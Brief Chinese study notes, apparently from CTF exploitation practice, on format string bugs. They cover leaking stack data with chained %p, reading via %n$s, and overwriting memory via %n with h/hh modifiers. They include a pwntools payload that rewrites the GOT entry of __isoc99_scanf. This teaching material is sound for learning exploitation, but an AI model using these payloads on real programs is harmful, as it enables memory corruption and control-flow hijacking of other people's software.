1.泄露内存,printf(
"%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n"
) 打印栈上参数
2.%n$s:将第n+1个参数解释为指针并输出
|
3.%n$n
p.sendline(
'a'
*9 +
'%10$hhn'
+ p64(code.got[
'__isoc99_scanf'
]))
我们可以发现__isoc99_scanf已从0xd0被修改为0x09
%n的作用是将匹配的参数解析为一个地址,并取消本次输出,而将已输出的byte数写入该地址
(h length描述符
我们在使用'%n'进行写入时,可以用到h或hh length描述符,表明写入的长度,h表示一次覆盖两个byte,而hh表示一次写入一个byte,如果不对n进行修饰,则默认为写入四个byte。
当我们需要要对一个地址写入一个很大的数,例如0x12345678时,我们一般不直接写入,而是利用h或hh,分若干次写入。)